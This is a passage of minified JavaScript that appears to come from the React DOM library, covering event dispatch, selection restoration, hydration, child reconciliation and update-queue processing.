n=[];ze(n,bo,e,D(e)),V(Ne,n)}}function Me(e,n,t){"focusin"===e?(Le(),bo=t,(yo=n).attachEvent("onpropertychange",Te)):"focusout"===e&&Le()}function Fe(e,n){if("selectionchange"===e||"keyup"===e||"keydown"===e)return Pe(bo)}function Re(e,n){if("click"===e)return Pe(n)}function De(e,n){if("input"===e||"change"===e)return Pe(n)}function Oe(e,n){if(wo(e,n))return!0;if("object"!=typeof e||null===e||"object"!=typeof n||null===n)return!1;var t=Object.keys(e),r=Object.keys(n);if(t.length!==r.length)return!1;for(r=0;r<t.length;r++){var l=t[r];if(!aa.call(n,l)||!wo(e[l],n[l]))return!1}return!0}function Ie(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function Ue(e,n){var t,r=Ie(e);for(e=0;r;){if(3===r.nodeType){if(t=e+r.textContent.length,e<=n&&t>=n)return{node:r,offset:n-e};e=t}e:{for(;r;){if(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=Ie(r)}}function Ve(e,n){return!(!e||!n)&&(e===n||(!e||3!==e.nodeType)&&(n&&3===n.nodeType?Ve(e,n.parentNode):"contains"in e?e.contains(n):!!e.compareDocumentPosition&&!!(16&e.compareDocumentPosition(n))))}function Ae(){for(var e=window,n=v();n instanceof e.HTMLIFrameElement;){try{var t="string"==typeof n.contentWindow.location.href}catch(e){t=!1}if(!t)break;n=v((e=n.contentWindow).document)}return n}function Be(e){var n=e&&e.nodeName&&e.nodeName.toLowerCase();return n&&("input"===n&&("text"===e.type||"search"===e.type||"tel"===e.type||"url"===e.type||"password"===e.type)||"textarea"===n||"true"===e.contentEditable)}function We(e){var n=Ae(),t=e.focusedElem,r=e.selectionRange;if(n!==t&&t&&t.ownerDocument&&Ve(t.ownerDocument.documentElement,t)){if(null!==r&&Be(t))if(n=r.start,void 0===(e=r.end)&&(e=n),"selectionStart"in t)t.selectionStart=n,t.selectionEnd=Math.min(e,t.value.length);else if((e=(n=t.ownerDocument||document)&&n.defaultView||window).getSelection){e=e.getSelection();var l=t.textContent.length,a=Math.min(r.start,l);r=void 0===r.end?a:Math.min(r.end,l),!e.extend&&a>r&&(l=r,r=a,a=l),l=Ue(t,a);var u=Ue(t,r);l&&u&&(1!==e.rangeCount||e.anchorNode!==l.node||e.anchorOffset!==l.offset||e.focusNode!==u.node||e.focusOffset!==u.offset)&&((n=n.createRange()).setStart(l.node,l.offset),e.removeAllRanges(),a>r?(e.addRange(n),e.extend(u.node,u.offset)):(n.setEnd(u.node,u.offset),e.addRange(n)))}for(n=[],e=t;e=e.parentNode;)1===e.nodeType&&n.push({element:e,left:e.scrollLeft,top:e.scrollTop});for("function"==typeof t.focus&&t.focus(),t=0;t<n.length;t++)(e=n[t]).element.scrollLeft=e.left,e.element.scrollTop=e.top}}function He(e,n,t){var r=t.window===t?t.document:9===t.nodeType?t:t.ownerDocument;zo||null==xo||xo!==v(r)||(r="selectionStart"in(r=xo)&&Be(r)?{start:r.selectionStart,end:r.selectionEnd}:{anchorNode:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection()).anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset},Co&&Oe(Co,r)||(Co=r,0<(r=nn(Eo,"onSelect")).length&&(n=new Au("onSelect","select",null,n,t),e.push({event:n,listeners:r}),n.target=xo)))}function Qe(e,n){var t={};return t[e.toLowerCase()]=n.toLowerCase(),t["Webkit"+e]="webkit"+n,t["Moz"+e]="moz"+n,t}function je(e){if(Po[e])return Po[e];if(!No[e])return e;var n,t=No[e];for(n in t)if(t.hasOwnProperty(n)&&n in _o)return Po[e]=t[n];return e}function $e(e,n){Ro.set(e,n),r(n,[e])}function qe(e,n,t){var r=e.type||"unknown-event";e.currentTarget=t,W(r,n,void 0,e),e.currentTarget=null}function Ke(e,n){n=!!(4&n);for(var t=0;t<e.length;t++){var r=e[t],l=r.event;r=r.listeners;e:{var a=void 0;if(n)for(var u=r.length-1;0<=u;u--){var o=r[u],i=o.instance,s=o.currentTarget;if(o=o.listener,i!==a&&l.isPropagationStopped())break e;qe(l,o,s),a=i}else for(u=0;u<r.length;u++){if(i=(o=r[u]).instance,s=o.currentTarget,o=o.listener,i!==a&&l.isPropagationStopped())break e;qe(l,o,s),a=i}}}if(Ja)throw e=eu,Ja=!1,eu=null,e}function Ye(e,n){var t=n[Go];void 0===t&&(t=n[Go]=new Set);var r=e+"__bubble";t.has(r)||(Ze(n,e,2,!1),t.add(r))}function Xe(e,n,t){var r=0;n&&(r|=4),Ze(t,e,r,n)}function Ge(e){if(!e[Uo]){e[Uo]=!0,ta.forEach((function(n){"selectionchange"!==n&&(Io.has(n)||Xe(n,!1,e),Xe(n,!0,e))}));var n=9===e.nodeType?e:e.ownerDocument;null===n||n[Uo]||(n[Uo]=!0,Xe("selectionchange",!1,n))}}function Ze(e,n,t,r,l){switch(he(n)){case 1:l=fe;break;case 4:l=de;break;default:l=pe}t=l.bind(null,n,t,e),l=void 0,!ja||"touchstart"!==n&&"touchmove"!==n&&"wheel"!==n||(l=!0),r?void 0!==l?e.addEventListener(n,t,{capture:!0,passive:l}):e.addEventListener(n,t,!0):void 0!==l?e.addEventListener(n,t,{passive:l}):e.addEventListener(n,t,!1)}function Je(e,n,t,r,l){var a=r;if(!(1&n||2&n||null===r))e:for(;;){if(null===r)return;var u=r.tag;if(3===u||4===u){var o=r.stateNode.containerInfo;if(o===l||8===o.nodeType&&o.parentNode===l)break;if(4===u)for(u=r.return;null!==u;){var i=u.tag;if((3===i||4===i)&&((i=u.stateNode.containerInfo)===l||8===i.nodeType&&i.parentNode===l))return;u=u.return}for(;null!==o;){if(null===(u=pn(o)))return;if(5===(i=u.tag)||6===i){r=a=u;continue e}o=o.parentNode}}r=r.return}V((function(){var r=a,l=D(t),u=[];e:{var o=Ro.get(e);if(void 0!==o){var i=Au,s=e;switch(e){case"keypress":if(0===ve(t))break e;case"keydown":case"keyup":i=to;break;case"focusin":s="focus",i=$u;break;case"focusout":s="blur",i=$u;break;case"beforeblur":case"afterblur":i=$u;break;case"click":if(2===t.button)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":i=Qu;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":i=ju;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":i=lo;break;case Lo:case To:case Mo:i=qu;break;case Fo:i=ao;break;case"scroll":i=Wu;break;case"wheel":i=oo;break;case"copy":case"cut":case"paste":i=Yu;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":i=ro}var c=!!(4&n),f=!c&&"scroll"===e,d=c?null!==o?o+"Capture":null:o;c=[];for(var p,m=r;null!==m;){var h=(p=m).stateNode;if(5===p.tag&&null!==h&&(p=h,null!==d&&null!=(h=A(m,d))&&c.push(en(m,h,p))),f)break;m=m.return}0<c.length&&(o=new i(o,s,null,t,l),u.push({event:o,listeners:c}))}}if(!(7&n)){if(i="mouseout"===e||"pointerout"===e,(!(o="mouseover"===e||"pointerover"===e)||t===Ua||!(s=t.relatedTarget||t.fromElement)||!pn(s)&&!s[Xo])&&(i||o)&&(o=l.window===l?l:(o=l.ownerDocument)?o.defaultView||o.parentWindow:window,i?(i=r,null!==(s=(s=t.relatedTarget||t.toElement)?pn(s):null)&&(s!==(f=H(s))||5!==s.tag&&6!==s.tag)&&(s=null)):(i=null,s=r),i!==s)){if(c=Qu,h="onMouseLeave",d="onMouseEnter",m="mouse","pointerout"!==e&&"pointerover"!==e||(c=ro,h="onPointerLeave",d="onPointerEnter",m="pointer"),f=null==i?o:hn(i),p=null==s?o:hn(s),(o=new c(h,m+"leave",i,t,l)).target=f,o.relatedTarget=p,h=null,pn(l)===r&&((c=new c(d,m+"enter",s,t,l)).target=p,c.relatedTarget=f,h=c),f=h,i&&s)e:{for(d=s,m=0,p=c=i;p;p=tn(p))m++;for(p=0,h=d;h;h=tn(h))p++;for(;0<m-p;)c=tn(c),m--;for(;0<p-m;)d=tn(d),p--;for(;m--;){if(c===d||null!==d&&c===d.alternate)break e;c=tn(c),d=tn(d)}c=null}else c=null;null!==i&&rn(u,o,i,c,!1),null!==s&&null!==f&&rn(u,f,s,c,!0)}if("select"===(i=(o=r?hn(r):window).nodeName&&o.nodeName.toLowerCase())||"input"===i&&"file"===o.type)var g=_e;else if(Ce(o))if(ko)g=De;else{g=Fe;var v=Me}else(i=o.nodeName)&&"input"===i.toLowerCase()&&("checkbox"===o.type||"radio"===o.type)&&(g=Re);switch(g&&(g=g(e,r))?ze(u,g,t,l):(v&&v(e,o,r),"focusout"===e&&(v=o._wrapperState)&&v.controlled&&"number"===o.type&&x(o,"number",o.value)),v=r?hn(r):window,e){case"focusin":(Ce(v)||"true"===v.contentEditable)&&(xo=v,Eo=r,Co=null);break;case"focusout":Co=Eo=xo=null;break;case"mousedown":zo=!0;break;case"contextmenu":case"mouseup":case"dragend":zo=!1,He(u,t,l);break;case"selectionchange":if(So)break;case"keydown":case"keyup":He(u,t,l)}var y;if(so)e:{switch(e){case"compositionstart":var b="onCompositionStart";break e;case"compositionend":b="onCompositionEnd";break e;case"compositionupdate":b="onCompositionUpdate";break e}b=void 0}else go?xe(e,t)&&(b="onCompositionEnd"):"keydown"===e&&229===t.keyCode&&(b="onCompositionStart");b&&(po&&"ko"!==t.locale&&(go||"onCompositionStart"!==b?"onCompositionEnd"===b&&go&&(y=ge()):(Iu="value"in(Ou=l)?Ou.value:Ou.textContent,go=!0)),0<(v=nn(r,b)).length&&(b=new Xu(b,e,null,t,l),u.push({event:b,listeners:v}),(y||null!==(y=Ee(t)))&&(b.data=y))),(y=fo?function(e,n){switch(e){case"compositionend":return Ee(n);case"keypress":return 32!==n.which?null:(ho=!0,mo);case"textInput":return(e=n.data)===mo&&ho?null:e;default:return null}}(e,t):function(e,n){if(go)return"compositionend"===e||!so&&xe(e,n)?(e=ge(),Uu=Iu=Ou=null,go=!1,e):null;switch(e){case"paste":default:return null;case"keypress":if(!(n.ctrlKey||n.altKey||n.metaKey)||n.ctrlKey&&n.altKey){if(n.char&&1<n.char.length)return n.char;if(n.which)return String.fromCharCode(n.which)}return null;case"compositionend":return po&&"ko"!==n.locale?null:n.data}}(e,t))&&0<(r=nn(r,"onBeforeInput")).length&&(l=new Gu("onBeforeInput","beforeinput",null,t,l),u.push({event:l,listeners:r}),l.data=y)}Ke(u,n)}))}function en(e,n,t){return{instance:e,listener:n,currentTarget:t}}function nn(e,n){for(var t=n+"Capture",r=[];null!==e;){var l=e,a=l.stateNode;5===l.tag&&null!==a&&(l=a,null!=(a=A(e,t))&&r.unshift(en(e,a,l)),null!=(a=A(e,n))&&r.push(en(e,a,l))),e=e.return}return r}function tn(e){if(null===e)return null;do{e=e.return}while(e&&5!==e.tag);return e||null}function rn(e,n,t,r,l){for(var a=n._reactName,u=[];null!==t&&t!==r;){var o=t,i=o.alternate,s=o.stateNode;if(null!==i&&i===r)break;5===o.tag&&null!==s&&(o=s,l?null!=(i=A(t,a))&&u.unshift(en(t,i,o)):l||null!=(i=A(t,a))&&u.push(en(t,i,o))),t=t.return}0!==u.length&&e.push({event:n,listeners:u})}function ln(e){return("string"==typeof e?e:""+e).replace(Vo,"\n").replace(Ao,"")}function an(e,n,r,l){if(n=ln(n),ln(e)!==n&&r)throw Error(t(425))}function un(){}function on(e,n){return"textarea"===e||"noscript"===e||"string"==typeof n.children||"number"==typeof n.children||"object"==typeof n.dangerouslySetInnerHTML&&null!==n.dangerouslySetInnerHTML&&null!=n.dangerouslySetInnerHTML.__html}function sn(e){setTimeout((function(){throw e}))}function cn(e,n){var t=n,r=0;do{var l=t.nextSibling;if(e.removeChild(t),l&&8===l.nodeType)if("/$"===(t=l.data)){if(0===r)return e.removeChild(l),void ce(n);r--}else"$"!==t&&"$?"!==t&&"$!"!==t||r++;t=l}while(t);ce(n)}function fn(e){for(;null!=e;e=e.nextSibling){var n=e.nodeType;if(1===n||3===n)break;if(8===n){if("$"===(n=e.data)||"$!"===n||"$?"===n)break;if("/$"===n)return null}}return e}function dn(e){e=e.previousSibling;for(var n=0;e;){if(8===e.nodeType){var t=e.data;if("$"===t||"$!"===t||"$?"===t){if(0===n)return e;n--}else"/$"===t&&n++}e=e.previousSibling}return null}function pn(e){var n=e[Ko];if(n)return n;for(var t=e.parentNode;t;){if(n=t[Xo]||t[Ko]){if(t=n.alternate,null!==n.child||null!==t&&null!==t.child)for(e=dn(e);null!==e;){if(t=e[Ko])return t;e=dn(e)}return n}t=(e=t).parentNode}return null}function mn(e){return!(e=e[Ko]||e[Xo])||5!==e.tag&&6!==e.tag&&13!==e.tag&&3!==e.tag?null:e}function hn(e){if(5===e.tag||6===e.tag)return e.stateNode;throw Error(t(33))}function gn(e){return e[Yo]||null}function vn(e){return{current:e}}function yn(e,n){0>ni||(e.current=ei[ni],ei[ni]=null,ni--)}function bn(e,n,t){ni++,ei[ni]=e.current,e.current=n}function kn(e,n){var t=e.type.contextTypes;if(!t)return ti;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===n)return r.__reactInternalMemoizedMaskedChildContext;var l,a={};for(l in t)a[l]=n[l];return r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=n,e.__reactInternalMemoizedMaskedChildContext=a),a}function wn(e){return null!=(e=e.childContextTypes)}function Sn(e,n,r){if(ri.current!==ti)throw Error(t(168));bn(ri,n),bn(li,r)}function xn(e,n,r){var l=e.stateNode;if(n=n.childContextTypes,"function"!=typeof l.getChildContext)return r;for(var a in l=l.getChildContext())if(!(a in n))throw Error(t(108,d(e)||"Unknown",a));return La({},r,l)}function En(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ti,ai=ri.current,bn(ri,e),bn(li,li.current),!0}function Cn(e,n,r){var l=e.stateNode;if(!l)throw Error(t(169));r?(e=xn(e,n,ai),l.__reactInternalMemoizedMergedChildContext=e,yn(li),yn(ri),bn(ri,e)):yn(li),bn(li,r)}function zn(e){null===ui?ui=[e]:ui.push(e)}function Nn(){if(!ii&&null!==ui){ii=!0;var e=0,n=xu;try{var t=ui;for(xu=1;e<t.length;e++){var r=t[e];do{r=r(!0)}while(null!==r)}ui=null,oi=!1}catch(n){throw null!==ui&&(ui=ui.slice(e+1)),au(fu,Nn),n}finally{xu=n,ii=!1}}return null}function Pn(e,n){si[ci++]=di,si[ci++]=fi,fi=e,di=n}function _n(e,n,t){pi[mi++]=gi,pi[mi++]=vi,pi[mi++]=hi,hi=e;var r=gi;e=vi;var l=32-yu(r)-1;r&=~(1<<l),t+=1;var a=32-yu(n)+l;if(30<a){var u=l-l%5;a=(r&(1<<u)-1).toString(32),r>>=u,l-=u,gi=1<<32-yu(n)+l|t<<l|r,vi=a+e}else gi=1<<a|t<<l|r,vi=e}function Ln(e){null!==e.return&&(Pn(e,1),_n(e,1,0))}function Tn(e){for(;e===fi;)fi=si[--ci],si[ci]=null,di=si[--ci],si[ci]=null;for(;e===hi;)hi=pi[--mi],pi[mi]=null,vi=pi[--mi],pi[mi]=null,gi=pi[--mi],pi[mi]=null}function Mn(e,n){var t=js(5,null,null,0);t.elementType="DELETED",t.stateNode=n,t.return=e,null===(n=e.deletions)?(e.deletions=[t],e.flags|=16):n.push(t)}function Fn(e,n){switch(e.tag){case 5:var t=e.type;return null!==(n=1!==n.nodeType||t.toLowerCase()!==n.nodeName.toLowerCase()?null:n)&&(e.stateNode=n,yi=e,bi=fn(n.firstChild),!0);case 6:return null!==(n=""===e.pendingProps||3!==n.nodeType?null:n)&&(e.stateNode=n,yi=e,bi=null,!0);case 13:return null!==(n=8!==n.nodeType?null:n)&&(t=null!==hi?{id:gi,overflow:vi}:null,e.memoizedState={dehydrated:n,treeContext:t,retryLane:1073741824},(t=js(18,null,null,0)).stateNode=n,t.return=e,e.child=t,yi=e,bi=null,!0);default:return!1}}function Rn(e){return!(!(1&e.mode)||128&e.flags)}function Dn(e){if(ki){var n=bi;if(n){var r=n;if(!Fn(e,n)){if(Rn(e))throw Error(t(418));n=fn(r.nextSibling);var l=yi;n&&Fn(e,n)?Mn(l,r):(e.flags=-4097&e.flags|2,ki=!1,yi=e)}}else{if(Rn(e))throw Error(t(418));e.flags=-4097&e.flags|2,ki=!1,yi=e}}}function On(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag&&13!==e.tag;)e=e.return;yi=e}function In(e){if(e!==yi)return!1;if(!ki)return On(e),ki=!0,!1;var n;if((n=3!==e.tag)&&!(n=5!==e.tag)&&(n="head"!==(n=e.type)&&"body"!==n&&!on(e.type,e.memoizedProps)),n&&(n=bi)){if(Rn(e)){for(e=bi;e;)e=fn(e.nextSibling);throw Error(t(418))}for(;n;)Mn(e,n),n=fn(n.nextSibling)}if(On(e),13===e.tag){if(!(e=null!==(e=e.memoizedState)?e.dehydrated:null))throw Error(t(317));e:{for(e=e.nextSibling,n=0;e;){if(8===e.nodeType){var r=e.data;if("/$"===r){if(0===n){bi=fn(e.nextSibling);break e}n--}else"$"!==r&&"$!"!==r&&"$?"!==r||n++}e=e.nextSibling}bi=null}}else bi=yi?fn(e.stateNode.nextSibling):null;return!0}function Un(){bi=yi=null,ki=!1}function Vn(e){null===wi?wi=[e]:wi.push(e)}function An(e,n,r){if(null!==(e=r.ref)&&"function"!=typeof e&&"object"!=typeof e){if(r._owner){if(r=r._owner){if(1!==r.tag)throw Error(t(309));var l=r.stateNode}if(!l)throw Error(t(147,e));var a=l,u=""+e;return null!==n&&null!==n.ref&&"function"==typeof n.ref&&n.ref._stringRef===u?n.ref:(n=function(e){var n=a.refs;null===e?delete n[u]:n[u]=e},n._stringRef=u,n)}if("string"!=typeof e)throw Error(t(284));if(!r._owner)throw Error(t(290,e))}return e}function Bn(e,n){throw e=Object.prototype.toString.call(n),Error(t(31,"[object Object]"===e?"object with keys {"+Object.keys(n).join(", ")+"}":e))}function Wn(e){return(0,e._init)(e._payload)}function Hn(e){function n(n,t){if(e){var r=n.deletions;null===r?(n.deletions=[t],n.flags|=16):r.push(t)}}function r(t,r){if(!e)return null;for(;null!==r;)n(t,r),r=r.sibling;return null}function l(e,n){for(e=new Map;null!==n;)null!==n.key?e.set(n.key,n):e.set(n.index,n),n=n.sibling;return e}function a(e,n){return(e=Rl(e,n)).index=0,e.sibling=null,e}function u(n,t,r){return n.index=r,e?null!==(r=n.alternate)?(r=r.index)<t?(n.flags|=2,t):r:(n.flags|=2,t):(n.flags|=1048576,t)}function i(n){return e&&null===n.alternate&&(n.flags|=2),n}function s(e,n,t,r){return null===n||6!==n.tag?((n=Ul(t,e.mode,r)).return=e,n):((n=a(n,t)).return=e,n)}function c(e,n,t,r){var l=t.type;return l===ha?d(e,n,t.props.children,r,t.key):null!==n&&(n.elementType===l||"object"==typeof l&&null!==l&&l.$$typeof===Ea&&Wn(l)===n.type)?((r=a(n,t.props)).ref=An(e,n,t),r.return=e,r):((r=Dl(t.type,t.key,t.props,null,e.mode,r)).ref=An(e,n,t),r.return=e,r)}function f(e,n,t,r){return null===n||4!==n.tag||n.stateNode.containerInfo!==t.containerInfo||n.stateNode.implementation!==t.implementation?((n=Vl(t,e.mode,r)).return=e,n):((n=a(n,t.children||[])).return=e,n)}function d(e,n,t,r,l){return null===n||7!==n.tag?((n=Ol(t,e.mode,r,l)).return=e,n):((n=a(n,t)).return=e,n)}function p(e,n,t){if("string"==typeof n&&""!==n||"number"==typeof n)return(n=Ul(""+n,e.mode,t)).return=e,n;if("object"==typeof n&&null!==n){switch(n.$$typeof){case pa:return(t=Dl(n.type,n.key,n.props,null,e.mode,t)).ref=An(e,null,n),t.return=e,t;case ma:return(n=Vl(n,e.mode,t)).return=e,n;case Ea:return p(e,(0,n._init)(n._payload),t)}if(Ma(n)||o(n))return(n=Ol(n,e.mode,t,null)).return=e,n;Bn(e,n)}return null}function m(e,n,t,r){var l=null!==n?n.key:null;if("string"==typeof t&&""!==t||"number"==typeof t)return null!==l?null:s(e,n,""+t,r);if("object"==typeof t&&null!==t){switch(t.$$typeof){case pa:return t.key===l?c(e,n,t,r):null;case ma:return t.key===l?f(e,n,t,r):null;case Ea:return m(e,n,(l=t._init)(t._payload),r)}if(Ma(t)||o(t))return null!==l?null:d(e,n,t,r,null);Bn(e,t)}return null}function h(e,n,t,r,l){if("string"==typeof r&&""!==r||"number"==typeof r)return s(n,e=e.get(t)||null,""+r,l);if("object"==typeof r&&null!==r){switch(r.$$typeof){case pa:return c(n,e=e.get(null===r.key?t:r.key)||null,r,l);case ma:return f(n,e=e.get(null===r.key?t:r.key)||null,r,l);case Ea:return h(e,n,t,(0,r._init)(r._payload),l)}if(Ma(r)||o(r))return d(n,e=e.get(t)||null,r,l,null);Bn(n,r)}return null}function g(t,a,o,i){for(var s=null,c=null,f=a,d=a=0,g=null;null!==f&&d<o.length;d++){f.index>d?(g=f,f=null):g=f.sibling;var v=m(t,f,o[d],i);if(null===v){null===f&&(f=g);break}e&&f&&null===v.alternate&&n(t,f),a=u(v,a,d),null===c?s=v:c.sibling=v,c=v,f=g}if(d===o.length)return r(t,f),ki&&Pn(t,d),s;if(null===f){for(;d<o.length;d++)null!==(f=p(t,o[d],i))&&(a=u(f,a,d),null===c?s=f:c.sibling=f,c=f);return ki&&Pn(t,d),s}for(f=l(t,f);d<o.length;d++)null!==(g=h(f,t,d,o[d],i))&&(e&&null!==g.alternate&&f.delete(null===g.key?d:g.key),a=u(g,a,d),null===c?s=g:c.sibling=g,c=g);return e&&f.forEach((function(e){return n(t,e)})),ki&&Pn(t,d),s}function v(a,i,s,c){var f=o(s);if("function"!=typeof f)throw Error(t(150));if(null==(s=f.call(s)))throw Error(t(151));for(var d=f=null,g=i,v=i=0,y=null,b=s.next();null!==g&&!b.done;v++,b=s.next()){g.index>v?(y=g,g=null):y=g.sibling;var k=m(a,g,b.value,c);if(null===k){null===g&&(g=y);break}e&&g&&null===k.alternate&&n(a,g),i=u(k,i,v),null===d?f=k:d.sibling=k,d=k,g=y}if(b.done)return r(a,g),ki&&Pn(a,v),f;if(null===g){for(;!b.done;v++,b=s.next())null!==(b=p(a,b.value,c))&&(i=u(b,i,v),null===d?f=b:d.sibling=b,d=b);return ki&&Pn(a,v),f}for(g=l(a,g);!b.done;v++,b=s.next())null!==(b=h(g,a,v,b.value,c))&&(e&&null!==b.alternate&&g.delete(null===b.key?v:b.key),i=u(b,i,v),null===d?f=b:d.sibling=b,d=b);return e&&g.forEach((function(e){return n(a,e)})),ki&&Pn(a,v),f}return function e(t,l,u,s){if("object"==typeof u&&null!==u&&u.type===ha&&null===u.key&&(u=u.props.children),"object"==typeof u&&null!==u){switch(u.$$typeof){case pa:e:{for(var c=u.key,f=l;null!==f;){if(f.key===c){if((c=u.type)===ha){if(7===f.tag){r(t,f.sibling),(l=a(f,u.props.children)).return=t,t=l;break e}}else if(f.elementType===c||"object"==typeof c&&null!==c&&c.$$typeof===Ea&&Wn(c)===f.type){r(t,f.sibling),(l=a(f,u.props)).ref=An(t,f,u),l.return=t,t=l;break e}r(t,f);break}n(t,f),f=f.sibling}u.type===ha?((l=Ol(u.props.children,t.mode,s,u.key)).return=t,t=l):((s=Dl(u.type,u.key,u.props,null,t.mode,s)).ref=An(t,l,u),s.return=t,t=s)}return i(t);case ma:e:{for(f=u.key;null!==l;){if(l.key===f){if(4===l.tag&&l.stateNode.containerInfo===u.containerInfo&&l.stateNode.implementation===u.implementation){r(t,l.sibling),(l=a(l,u.children||[])).return=t,t=l;break e}r(t,l);break}n(t,l),l=l.sibling}(l=Vl(u,t.mode,s)).return=t,t=l}return i(t);case Ea:return e(t,l,(f=u._init)(u._payload),s)}if(Ma(u))return g(t,l,u,s);if(o(u))return v(t,l,u,s);Bn(t,u)}return"string"==typeof u&&""!==u||"number"==typeof u?(u=""+u,null!==l&&6===l.tag?(r(t,l.sibling),(l=a(l,u)).return=t,t=l):(r(t,l),(l=Ul(u,t.mode,s)).return=t,t=l),i(t)):r(t,l)}}function Qn(){Pi=Ni=zi=null}function jn(e,n){n=Ci.current,yn(Ci),e._currentValue=n}function $n(e,n,t){for(;null!==e;){var r=e.alternate;if((e.childLanes&n)!==n?(e.childLanes|=n,null!==r&&(r.childLanes|=n)):null!==r&&(r.childLanes&n)!==n&&(r.childLanes|=n),e===t)break;e=e.return}}function qn(e,n){zi=e,Pi=Ni=null,null!==(e=e.dependencies)&&null!==e.firstContext&&(!!(e.lanes&n)&&(ns=!0),e.firstContext=null)}function Kn(e){var n=e._currentValue;if(Pi!==e)if(e={context:e,memoizedValue:n,next:null},null===Ni){if(null===zi)throw Error(t(308));Ni=e,zi.dependencies={lanes:0,firstContext:e}}else Ni=Ni.next=e;return n}function Yn(e){null===_i?_i=[e]:_i.push(e)}function Xn(e,n,t,r){var l=n.interleaved;return null===l?(t.next=t,Yn(n)):(t.next=l.next,l.next=t),n.interleaved=t,Gn(e,r)}function Gn(e,n){e.lanes|=n;var t=e.alternate;for(null!==t&&(t.lanes|=n),t=e,e=e.return;null!==e;)e.childLanes|=n,null!==(t=e.alternate)&&(t.childLanes|=n),t=e,e=e.return;return 3===t.tag?t.stateNode:null}function Zn(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Jn(e,n){e=e.updateQueue,n.updateQueue===e&&(n.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function et(e,n){return{eventTime:e,lane:n,tag:0,payload:null,callback:null,next:null}}function nt(e,n,t){var r=e.updateQueue;if(null===r)return null;if(r=r.shared,2&ys){var l=r.pending;return null===l?n.next=n:(n.next=l.next,l.next=n),r.pending=n,Li(e,t)}return null===(l=r.interleaved)?(n.next=n,Yn(r)):(n.next=l.next,l.next=n),r.interleaved=n,Gn(e,t)}function tt(e,n,t){if(null!==(n=n.updateQueue)&&(n=n.shared,4194240&t)){var r=n.lanes;t|=r&=e.pendingLanes,n.lanes=t,ne(e,t)}}function rt(e,n){var t=e.updateQueue,r=e.alternate;if(null!==r&&t===(r=r.updateQueue)){var l=null,a=null;if(null!==(t=t.firstBaseUpdate)){do{var u={eventTime:t.eventTime,lane:t.lane,tag:t.tag,payload:t.payload,callback:t.callback,next:null};null===a?l=a=u:a=a.next=u,t=t.next}while(null!==t);null===a?l=a=n:a=a.next=n}else l=a=n;return t={baseState:r.baseState,firstBaseUpdate:l,lastBaseUpdate:a,shared:r.shared,effects:r.effects},void(e.updateQueue=t)}null===(e=t.lastBaseUpdate)?t.firstBaseUpdate=n:e.next=n,t.lastBaseUpdate=n}function lt(e,n,t,r){var l=e.updateQueue;Ti=!1;var a=l.firstBaseUpdate,u=l.lastBaseUpdate,o=l.shared.pending;if(null!==o){l.shared.pending=null;var i=o,s=i.next;i.next=null,null===u?a=s:u.next=s,u=i;var c=e.alternate;null!==c&&(o=(c=c.updateQueue).lastBaseUpdate)!==u&&(null===o?c.firstBaseUpdate=s:o.next=s,c.lastBaseUpdate=i)}if(null!==a){var f=l.baseState;for(u=0,c=s=i=null,o=a;;){var d=o.lane,p=o.eventTime;if((r&d)===d){null!==c&&(c=c.next={eventTime:p,lane:0,tag:o.tag,payload:o.payload,callback:o.callback,next:null});e:{var m=e,h=o;switch(d=n,p=t,h.tag){case 1:if("function"==typeof(m=h.payload)){f=m.call(p,f,d);break e}f=m;break e;case 3:m.flags=-65537&m.flags|128;case 0:if(null==(d="function"==typeof(m=h.payload)?m.call(p,f,d):m))break e;f=La({},f,d);break e;case 2:Ti=!0}}null!==o.callback&&0!==o.lane&&(e.flags|=64,null===(d=l.effects)?l.effects=[o]:d.push(o))}else p={eventTime:p,lane:d,tag:o.tag,payload:o.payload,callback:o.callback,next:null},null===c?(s=c=p,i=f):c=c.next=p,u|=d;if(null===(o=o.next)){if(null===(o=l.shared.pending))break;o=(d=o).next,d.next=null,l.lastBaseUpdate=d,l.shared.pending=null}}if(null===c&&(i=f),l.baseState=i,l.firstBaseUpdate=s,l.lastBaseUpdate=c,null!==(n=l.shared.interleaved)){l=n;do{u|=l.lane,l=l.next}while(l!==n)}else null===a&&(l.shared.lanes=0);zs|=u,e.lanes=u,e.memoizedState=f}}function at(e,n,r){if(e=n.effects,n.effects=null,null!==e)for(n=0;n<e.length;n++){var l=e[n],a=l.callback;if(null!==a){if(l.callback=null,l=r,"function"!=typeof a)throw Error(t(191,a));a.call(l)}}}function ut(e){if(e===Mi)throw Error(t(174));return e}function ot(e,n){switch(bn(Di,n),bn(Ri,e),bn(Fi,Mi),e=n.nodeType){case 9:case 11:n=(n=n.documentElement)?n.namespaceURI:L(null,"");break;default:n=L(n=(e=8===e?n.parentNode:n).namespaceURI||null,e=e.tagName)}yn(Fi),bn(Fi,n)}function it(e){yn(Fi),yn(Ri),yn(Di)}function st(e){ut(Di.current);var n=ut(Fi.current),t=L(n,e.type);n!==t&&(bn(Ri,e),bn(Fi,t))}function ct(e){Ri.current===e&&(yn(Fi),yn(Ri))}function ft(e){for(var n=e;null!==n;){if(13===n.tag){var t=n.memoizedState;if(null!==t&&(null===(t=t.dehydrated)||"$?"===t.data||"$!"===t.data))return n}else if(19===n.tag&&void 0!==n.memoizedProps.revealOrder){if(128&n.flags)return n}else if(null!==n.child){n.child.return=n,n=n.child;continue}if(n===e)break;for(;null===n.sibling;){if(null===n.return||n.return===e)return null;n=n.return}n.sibling.return=n.return,n=n.sibling}return null}function dt(){for(var 